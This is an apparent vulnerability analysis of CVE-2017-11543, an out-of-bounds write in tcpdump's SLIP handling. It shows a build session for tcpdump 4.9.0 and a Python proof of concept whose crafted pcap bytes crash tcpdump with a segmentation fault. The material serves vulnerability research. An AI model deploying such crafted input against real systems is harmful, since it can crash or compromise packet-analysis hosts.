CVE-2017-11543 Analysis

- CVE-2017-11543 (arbitrary code execution)

An out-of-bounds write vulnerability was discovered in tcpdump's
handling of LINKTYPE_SLIP in the sliplink_print function in print-sl.c.
An attacker could craft a malicious pcap file or send specially crafted
packets to the network that would cause tcpdump to crash or possibly
execute arbitrary code when attempting to print a summary of the packet
data.

~ tldr tcpdump

  tcpdump

  Dump traffic on a network.

  - List available network interfaces:
    tcpdump -D

  - Capture the traffic of a specific interface:
    tcpdump -i eth0

  - Capture all TCP traffic showing contents (ASCII) in console:
    tcpdump -A tcp

  - Capture the traffic from or to a host:
    tcpdump host www.example.com

  - Capture the traffic from a specific interface, source, destination and destination port:
    tcpdump -i eth0 src 192.168.1.1 and dst 192.168.1.2 and dst port 80

  - Capture the traffic of a network:
    tcpdump net 192.168.1.0/24

  - Capture all traffic except traffic over port 22 and save to a dump file:
    tcpdump -w dumpfile.pcap not port 22

  - Read from a given dump file:
    tcpdump -r dumpfile.pcap

# apt-get update
# apt-get install libpcap-dev
# dpkg -l libpcap-dev

root@7fe409e06b06:~# dpkg -l libpcap-dev
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name           Version      Architecture Description
+++-==============-============-============-=================================
ii  libpcap-dev    1.7.4-2      all          development library for libpcap (

# apt-get install wget gcc make vim python
# wget https://github.com/the-tcpdump-group/tcpdump/archive/tcpdump-4.9.0.tar.gz
# tar xzf ./tcpdump-4.9.0.tar.gz 
# ./configure

# make

root@7fe409e06b06:~/tcpdump-tcpdump-4.9.0# ./tcpdump --version
tcpdump version 4.9.0
libpcap version 1.7.4

root@7fe409e06b06:~# cat poc.py 
import os

def sigsegv():
    buf  = "\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    buf += "\x00\x00\x04\x00\x08\x00\x00\x00\xf6\xb5\xa5X\xf8\xbd\x07\x00'"
    buf += "\x00\x00\x006\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7"
    buf += "\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xe7\xca\x00"
    buf += "\x00RT\x00\x125\x02\x08\x00'\xbd\xc8.\x08\x00"

    with open("slip-bad-direction.pcap", "wb") as f:
        f.write(buf)

    cmd = './tcpdump-tcpdump-4.9.0/tcpdump -e -r ./slip-bad-direction.pcap'
    os.system(cmd)

if __name__ == "__main__":
    sigsegv()
root@7fe409e06b06:~# python poc.py 
reading from file ./slip-bad-direction.pcap, link-type SLIP (SLIP)
Segmentation fault (core dumped)

root@7fe409e06b06:~# file slip-bad-direction.pcap 
slip-bad-direction.pcap: tcpdump capture file (little-endian) - version 2.4 (SLIP, capture length 262144)

typedef struct pcap_hdr_s {
        guint32 magic_number;   /* magic number */
        guint16 version_major;  /* major version number */
        guint16 version_minor;  /* minor version number */
        gint32  thiszone;       /* GMT to local correction */
        guint32 sigfigs;        /* accuracy of timestamps */
        guint32 snaplen;        /* max length of captured packets, in octets */
        guint32 network;        /* data link type */
} pcap_hdr_t;